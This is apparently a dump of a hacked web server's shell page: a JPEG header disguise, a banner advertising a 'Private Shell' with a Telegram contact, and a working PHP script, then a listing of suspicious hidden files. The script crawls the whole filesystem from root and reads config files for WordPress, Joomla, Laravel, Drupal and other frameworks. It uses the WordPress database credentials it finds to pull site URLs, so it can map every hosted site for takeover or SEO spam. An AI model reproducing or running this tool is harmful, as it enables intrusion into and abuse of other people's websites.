����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php $r = "/"; function is_valid_domain($domain) { if (!substr_count($domain, '.')) { return false; } if (stripos($domain, 'http://') === 0) { $domain = substr($domain, 7); $schema = 'http://'; } elseif (stripos($domain, 'https://') === 0) { $domain = substr($domain, 8); $schema = 'https://'; } else $schema = 'http://'; if (stripos($domain, 'www.') === 0) { $domain = substr($domain, 4); } if (strpos($domain, '/') !== false) { $split = explode('/', $domain, 2); $domain = $split[0]; } $again = $schema . $domain; return filter_var($again, FILTER_VALIDATE_URL); } function parse_define_value($line) { if (preg_match("/define\s*\(\s*['\"]\w+['\"]\s*,\s*['\"](.*)['\"]\s*\)\s*;/", $line, $matches)) { return $matches[1]; } return null; } function scan_wp($p) { $data = file_get_contents($p); $pattern = "/table_prefix\s*=\s*'([^']*)';/i"; if (preg_match($pattern, $data, $matches)) { $table_prefix = $matches[1]; } else { $table_prefix = 'wp_'; } $lines = array_map('rtrim', file($p)); $conf = []; foreach ($lines as $line) { if (preg_match('/define\s*\(\s*[\'"]\s*(DB_USER|DB_HOST|DB_PASSWORD|DB_NAME)\s*[\'"]\s*,/', $line, $matches)) { $conf[$matches[1]] = parse_define_value($line); } } $mysqli = new mysqli($conf['DB_HOST'], $conf['DB_USER'], $conf['DB_PASSWORD'], $conf['DB_NAME']); if (!$mysqli->connect_errno) { if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl';")) { $row = $result->fetch_object(); $result->close(); $p = dirname($p); $d = is_valid_domain($row->option_value); if ($d) { print "<f>{$p}@@@{$d}@@@wp@@@{$p}</f>\n"; } } $mysqli->close(); } } function scan_joomla($p) { $c = file_get_contents($p); preg_match("/live_site = '(.*?)';/", $c, $m); if (isset($m[1])) { $p = dirname($p); $d = is_valid_domain($m[1]); if ($d) { print "<f>{$p}@@@{$d}@@@joomla@@@{$p}</f>\n"; } } } function scan_drupal($p) { $c = file_get_contents($p); if (preg_match("/\\\$base_url\s*=\s*['\"]([^'\"]+)['\"]/", $c, $m)) { $p = dirname($p); $d = is_valid_domain($m[1]); if ($d) { print "<f>{$p}@@@{$d}@@@drupal@@@{$p}</f>\n"; } } } function scan_opencart($p) { $c = file_get_contents($p); $d = null; if (preg_match("/define\s*\(\s*['\"]HTTPS_SERVER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $c, $m)) { $d = is_valid_domain($m[1]); } if (!$d && preg_match("/define\s*\(\s*['\"]HTTP_SERVER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $c, $m)) { $d = is_valid_domain($m[1]); } if ($d) { $p = dirname($p); print "<f>{$p}@@@{$d}@@@opencart@@@{$p}</f>\n"; } } function scan_laravel($p) { $c = @file_get_contents($p); if (!$c) return; if (preg_match("/^\s*APP_URL\s*=\s*['\"]?(https?:\/\/[^'\"]+)['\"]?/m", $c, $m)) { $path_root = dirname($p); if (!@is_file($path_root . '/artisan')) return; $path_public = $path_root . '/public'; if (!@is_dir($path_public)) { $path_public = $path_root; } $d = is_valid_domain($m[1]); if ($d) { print "<f>{$path_public}@@@{$d}@@@laravel@@@{$p}</f>\n"; } } } function scan_codeigniter3($p) { $c = @file_get_contents($p); if (!$c) return; if (preg_match("/\\\$config\s*\[\s*['\"]base_url['\"]\s*\]\s*=\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) { $path_root = dirname(dirname($p)); $d = is_valid_domain($m[1]); if ($d) { print "<f>{$path_root}@@@{$d}@@@codeigniter3@@@{$p}</f>\n"; } } } function scan_codeigniter4($p) { $c = @file_get_contents($p); if (!$c) return; if (preg_match("/\\\$baseURL\s*=\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) { $path_root = dirname(dirname(dirname($p))); $path_public = $path_root . '/public'; if (!@is_dir($path_public)) { $path_public = $path_root; } $d = is_valid_domain($m[1]); if ($d) { print "<f>{$path_public}@@@{$d}@@@codeigniter4@@@{$p}</f>\n"; } } } function scan_cakephp($p) { $c = @file_get_contents($p); if (!$c) return; if (preg_match("/['\"]fullBaseUrl['\"]\s*=>\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m) || preg_match("/['\"]fullBaseUrl['\"]\s*=>\s*env\s*\(\s*['\"][^'\"]+['\"]\s*,\s*['\"](https?:\/\/[^'\"]+)['\"]\s*\)/", $c, $m)) { $path_root = dirname($p); $path_webroot = $path_root . '/webroot'; if (!@is_dir($path_webroot)) { $path_webroot = $path_root; } $d = is_valid_domain($m[1]); if ($d) { print "<f>{$path_webroot}@@@{$d}@@@cakephp@@@{$p}</f>\n"; } } } function scan_symfony($p) { $c = @file_get_contents($p); if (!$c) return; if (preg_match("/^\s*APP_URL\s*=\s*['\"]?(https?:\/\/[^'\"]+)['\"]?/m", $c, $m) || preg_match("/^\s*PUBLIC_URL\s*=\s*['\"]?(https?:\/\/[^'\"]+)['\"]?/m", $c, $m)) { $path_root = dirname($p); if (!@is_file($path_root . '/bin/console')) return; $path_public = $path_root . '/public'; if (@is_dir($path_public)) { $path_out = $path_public; } else { $path_web = $path_root . '/web'; $path_out = @is_dir($path_web) ? $path_web : $path_root; } $d = is_valid_domain($m[1]); if ($d) { print "<f>{$path_out}@@@{$d}@@@symfony@@@{$p}</f>\n"; } } } function scan_kohana($p) { $c = @file_get_contents($p); if (!$c) return; if (preg_match("/['\"]base_url['\"]\s*=>\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) { $path_root = (strpos($p, 'application/') !== false) ? dirname(dirname($p)) : dirname($p); $d = is_valid_domain($m[1]); if ($d) { print "<f>{$path_root}@@@{$d}@@@kohana@@@{$p}</f>\n"; } } } function scan_fuelphp($p) { $c = @file_get_contents($p); if (!$c) return; if (preg_match("/['\"]base_url['\"]\s*=>\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) { $path_fuel = dirname(dirname($p)); $path_root = dirname($path_fuel); $path_public = $path_root . '/public'; if (!@is_dir($path_public)) { $path_public = $path_root; } $d = is_valid_domain($m[1]); if ($d) { print "<f>{$path_public}@@@{$d}@@@fuelphp@@@{$p}</f>\n"; } } } function scan_bitrix($p) { $c = @file_get_contents($p); if (!$c || strpos($p, 'bitrix') === false) return; if (preg_match("/['\"]value['\"]\s*=>\s*['\"](https?:\/\/[^'\"]+)['\"]/", $c, $m)) { $path_root = dirname(dirname($p)); $d = is_valid_domain($m[1]); if ($d) { print "<f>{$path_root}@@@{$d}@@@bitrix@@@{$p}</f>\n"; } } } function scan($path) { $existed = ["hossur.com"]; if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { if ($path === '/' || $path === '') { $p = $path . $file; } else { $p = $path . '/' . $file; } if ($file != '.' && $file != '..') { $found = false; foreach ($existed as $domain) { if (strstr($p, $domain)) { $found = true; break; } } if ($found) { continue; } if (is_link($p)) { continue; } elseif (is_dir($p)) { scan($p); } elseif ($file == 'wp-config.php') { scan_wp($p); } elseif ($file == 'configuration.php') { scan_joomla($p); } elseif ($file == 'settings.php' && (strpos($p, 'sites/') !== false || strpos($p, 'sites\\') !== false)) { scan_drupal($p); } elseif ($file == 'config.php' && strpos(@file_get_contents($p), 'HTTP_SERVER') !== false) { scan_opencart($p); } elseif ($file == '.settings.php' && strpos($p, 'bitrix') !== false) { scan_bitrix($p); } elseif ($file == '.env') { scan_laravel($p); scan_symfony($p); } elseif ($file == 'config.php' && strpos($p, 'application/config') !== false) { scan_codeigniter3($p); } elseif ($file == 'App.php' && strpos($p, 'app/Config') !== false) { scan_codeigniter4($p); } elseif ($file == 'app.php' && strpos($p, 'config/') !== false) { scan_cakephp($p); } elseif (($file == 'bootstrap.php' || $file == 'url.php') && strpos($p, 'application/') !== false) { scan_kohana($p); } elseif ($file == 'config.php' && strpos($p, 'fuel/') !== false) { scan_fuelphp($p); } elseif ($file == 'config.php' && strpos(@file_get_contents($p), 'HTTP_SERVER') !== false) { scan_opencart($p); } } } } } scan($r); die('!ended!'); | Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| .accept | File | 4.46 KB | 0644 |
|
| .accepted | File | 55 B | 0644 |
|
| .bind | File | 4.46 KB | 0644 |
|
| .binding | File | 16 B | 0644 |
|
| .cache | File | 50 B | 0644 |
|
| .center | File | 1.37 KB | 0644 |
|
| .class | File | 54 B | 0644 |
|
| .classes | File | 54 B | 0644 |
|
| .config | File | 4.46 KB | 0644 |
|
| .content | File | 9.21 KB | 0644 |
|
| .created | File | 54 B | 0644 |
|
| .db2_convert | File | 46 B | 0644 |
|
| .dba_insertion | File | 53 B | 0644 |
|
| .dbx_convert | File | 48 B | 0644 |
|
| .dchunk | File | 56 B | 0644 |
|
| .desc | File | 2.52 KB | 0644 |
|
| .element | File | 61 B | 0644 |
|
| .ent | File | 4.55 KB | 0644 |
|
| .fac | File | 59 B | 0644 |
|
| .hld | File | 16 B | 0644 |
|
| .ibase_pconnection | File | 9.22 KB | 0644 |
|
| .include | File | 1.39 KB | 0644 |
|
| .internal | File | 47 B | 0644 |
|
| .key | File | 4.55 KB | 0644 |
|
| .lock | File | 54 B | 0644 |
|
| .locked | File | 4.46 KB | 0644 |
|
| .marker | File | 4.46 KB | 0644 |
|
| .mb_convert | File | 4.46 KB | 0644 |
|
| .multi | File | 4.46 KB | 0644 |
|
| .oauthexceptions | File | 47 B | 0644 |
|
| .ob_iconv_handle | File | 52 B | 0644 |
|
| .obj | File | 48 B | 0644 |
|
| .object | File | 4.55 KB | 0644 |
|
| .parle_tokens | File | 58 B | 0644 |
|
| .partition | File | 4.46 KB | 0644 |
|
| .pointer | File | 55 B | 0644 |
|
| .post | File | 53 B | 0644 |
|
| .property_set | File | 4.55 KB | 0644 |
|
| .rec | File | 48 B | 0644 |
|
| .record | File | 4.55 KB | 0644 |
|
| .ref | File | 52 B | 0644 |
|
| .request | File | 141 B | 0644 |
|
| .requests | File | 4.46 KB | 0644 |
|
| .res | File | 4.55 KB | 0644 |
|
| .reset | File | 51 B | 0644 |
|
| .resource | File | 4.55 KB | 0644 |
|
| .rfind | File | 56 B | 0644 |
|
| .rindex | File | 4.46 KB | 0644 |
|
| .rjust | File | 4.46 KB | 0644 |
|
| File | 0 B | 0 |
|
|
| .symbol | File | 55 B | 0644 |
|
| .sys | File | 4.46 KB | 0644 |
|
| .system | File | 46 B | 0644 |
|
| .tkn | File | 9.21 KB | 0644 |
|
| .uconvert | File | 9.21 KB | 0644 |
|
| .value | File | 52 B | 0644 |
|
| 0kp9kicl7qr35dS4mwn | File | 0 B | 0600 |
|
| 0neest62afj96hPpQad | File | 0 B | 0600 |
|
| 1fof11ft4bfp6caFwhC | File | 0 B | 0600 |
|
| 1hn19ncu6lr76esKi8T | File | 0 B | 0600 |
|
| 2ahql2nn1jl73Qu1ZAm | File | 0 B | 0600 |
|
| 2l1nab706vudagqRvhn | File | 0 B | 0600 |
|
| 2l748vi3urt77knIDpa | File | 0 B | 0600 |
|
| 2ve7j945lqte1mzu3ch | File | 0 B | 0600 |
|
| 3c5ngupr2uckcCuVA2v | File | 0 B | 0600 |
|
| 3sa1ah8m8me454HKVhS | File | 0 B | 0600 |
|
| 4cq9gltgkc95cnxB7kf | File | 0 B | 0600 |
|
| 5e9120kp1cbnb1kUhau | File | 0 B | 0600 |
|
| 5h253stm5e27a5fxdF3 | File | 0 B | 0600 |
|
| 5jim3q0ucvdjbt8U8nC | File | 0 B | 0600 |
|
| 5n85i1qbsj2aauSxirV | File | 0 B | 0600 |
|
| 6g4c0den11f9bbcylbB | File | 0 B | 0600 |
|
| 72tmjgdanv6m1NU37u5 | File | 0 B | 0600 |
|
| 76dugr1bk0825180UUS | File | 0 B | 0600 |
|
| 7o0tghjk2b4l56jXPe0 | File | 0 B | 0600 |
|
| 7suvvmlk96lj8dWWGCv | File | 0 B | 0600 |
|
| 809t0td3fghk3l8Pl7c | File | 0 B | 0600 |
|
| 84hghh1ofus2bADsmuE | File | 0 B | 0600 |
|
| 8r4hi5c1hmsfa70hCew | File | 0 B | 0600 |
|
| 8sti8lvq5osp20pbg10 | File | 0 B | 0600 |
|
| 926soiecjc655yMFiFR | File | 0 B | 0600 |
|
| 95e3nnv7usrqcJD0TBZ | File | 0 B | 0600 |
|
| 9cbjgisqm9dk7zbgEF7 | File | 0 B | 0600 |
|
| 9qkbf2evhvbt26Jf0wB | File | 0 B | 0600 |
|
| a9cbhoa7ojsr8UzBn3F | File | 0 B | 0600 |
|
| baaonkl45mda4ZI1AJB | File | 0 B | 0600 |
|
| bsoabk5j4t067wI1Yod | File | 0 B | 0600 |
|
| bt213gps6qlach1Izll | File | 0 B | 0600 |
|
| c9heo8q1ek0ddQb3aus | File | 0 B | 0600 |
|
| cich2u79peqe7Kh0E7u | File | 0 B | 0600 |
|
| cq3lt45kej5hflzQFPG | File | 0 B | 0600 |
|
| ct649fgcpi6l5Bs6UMA | File | 0 B | 0600 |
|
| ctl5vlbu909d3E8aYKi | File | 0 B | 0600 |
|
| d51gs4jhttpd7odjxmQ | File | 0 B | 0600 |
|
| d9i7k2aj6ao06xlxtoh | File | 0 B | 0600 |
|
| e8ppsv5jptoh4Db6tLg | File | 0 B | 0600 |
|
| eojttmvhs7218zgZN5J | File | 0 B | 0600 |
|
| f639d250j0s97NvIjRW | File | 0 B | 0600 |
|
| fcbq21k5hrthcucF11Z | File | 0 B | 0600 |
|
| ftvp1ulea1qtaEkEZZu | File | 0 B | 0600 |
|
| fvejji6tgtdidHZrDKW | File | 0 B | 0600 |
|
| fvj9oclfsi2ab2P0RPg | File | 0 B | 0600 |
|
| g59s9plkcmbgfRmNlG6 | File | 0 B | 0600 |
|
| gu9ob7n07ust3r4O8YS | File | 0 B | 0600 |
|
| h29laod51mnmfblauM4 | File | 0 B | 0600 |
|
| h7mmpe6bhn9f4WvARFK | File | 0 B | 0600 |
|
| hejt5sb8nv1udhBfWH6 | File | 0 B | 0600 |
|
| hf5tesfg5tjq617NcXR | File | 0 B | 0600 |
|
| i831khj0j7l6bNoxZYz | File | 0 B | 0600 |
|
| iffjkq63f4gp8kP3mjt | File | 0 B | 0600 |
|
| ivuba8tc1o8abTTuZuI | File | 0 B | 0600 |
|
| j6k7s0f53jpk8R9Cp12 | File | 0 B | 0600 |
|
| jcsgbloap4gp7QTRfrb | File | 0 B | 0600 |
|
| jdt6chaectgscc956Mj | File | 0 B | 0600 |
|
| jf5iblbmr7pefbsAIRL | File | 0 B | 0600 |
|
| jlf845ulukb4fHBYDEC | File | 0 B | 0600 |
|
| joj6nagg0ne27bxCeXa | File | 0 B | 0600 |
|
| k98tf6h39appemgVoHB | File | 0 B | 0600 |
|
| kqdv4pi48gebdMIPW1G | File | 0 B | 0600 |
|
| ku0dhkij643cdgFyDkK | File | 0 B | 0600 |
|
| lgec7k7sf0a3a725e3i | File | 0 B | 0600 |
|
| ltc6m6cn15qh9vszCxV | File | 0 B | 0600 |
|
| m0ri19iabco55drjJVc | File | 0 B | 0600 |
|
| m5h5lk6rbbol3UZIr4u | File | 0 B | 0600 |
|
| moanturnornj3e1oy7D | File | 0 B | 0600 |
|
| File | 0 B | 0777 |
|
|
| nf4qr6mroeru8kLU9ec | File | 0 B | 0600 |
|
| nfa5hskvld9vfvCa4pi | File | 0 B | 0600 |
|
| nkc2208tnngecOwb5vc | File | 0 B | 0600 |
|
| nnsin67gv8br5jn2T3v | File | 0 B | 0600 |
|
| o434srmjfd4m52wQwCQ | File | 0 B | 0600 |
|
| o7fbojduv6cn9qBK1n8 | File | 0 B | 0600 |
|
| o8dp7e0m0oh4cRH2tTH | File | 0 B | 0600 |
|
| o9cmv2ap9smiebRGyTq | File | 0 B | 0600 |
|
| oa9vi0njf7bf2pyPgfb | File | 0 B | 0600 |
|
| obsob3tj0b7vaP1r9nS | File | 0 B | 0600 |
|
| ocg7aviaob1q82u6kY3 | File | 0 B | 0600 |
|
| omcsrcjmlhm81TNmK6j | File | 0 B | 0600 |
|
| pm1vojh4o7sf0IrEwNm | File | 0 B | 0600 |
|
| ptk8u5qoeegq8Vou3hU | File | 0 B | 0600 |
|
| pvsgnosaispa8ZrxNzZ | File | 0 B | 0600 |
|
| qb2purthgcm24ky8qHj | File | 0 B | 0600 |
|
| qjuc9vqou4fk97JRz48 | File | 0 B | 0600 |
|
| qrvuvlk7jtt03Og2rLy | File | 0 B | 0600 |
|
| r795jbba74qn9BNNcrx | File | 0 B | 0600 |
|
| rb0160piavoveU1bWG0 | File | 0 B | 0600 |
|
| rghmumk57ovf7YjOBnX | File | 0 B | 0600 |
|
| rh6mkrgr75vc6tmiUKY | File | 0 B | 0600 |
|
| t06ouhl8in335pBFUdb | File | 0 B | 0600 |
|
| t85bmq00esk96Y7OkyJ | File | 0 B | 0600 |
|
| u3lecuv9f26oagyNKnZ | File | 0 B | 0600 |
|
| u7atodshcnmndWkQiOr | File | 0 B | 0600 |
|
| u7p6cllt0nv50i7OuvM | File | 0 B | 0600 |
|
| u7uoa94a3r8d7VWFQYG | File | 0 B | 0600 |
|
| ulh5skkppohv2wLnXaj | File | 0 B | 0600 |
|
| unsavrma277l6LIZHcX | File | 0 B | 0600 |
|
| v9sefat9lth15XEkpHu | File | 0 B | 0600 |
|
| vg1au80jgqgufEaMETc | File | 0 B | 0600 |
|
| vtfhhr9uocld6CmZVgC | File | 0 B | 0600 |
|
| vtkhl227k1sp1dVjYyh | File | 0 B | 0600 |
|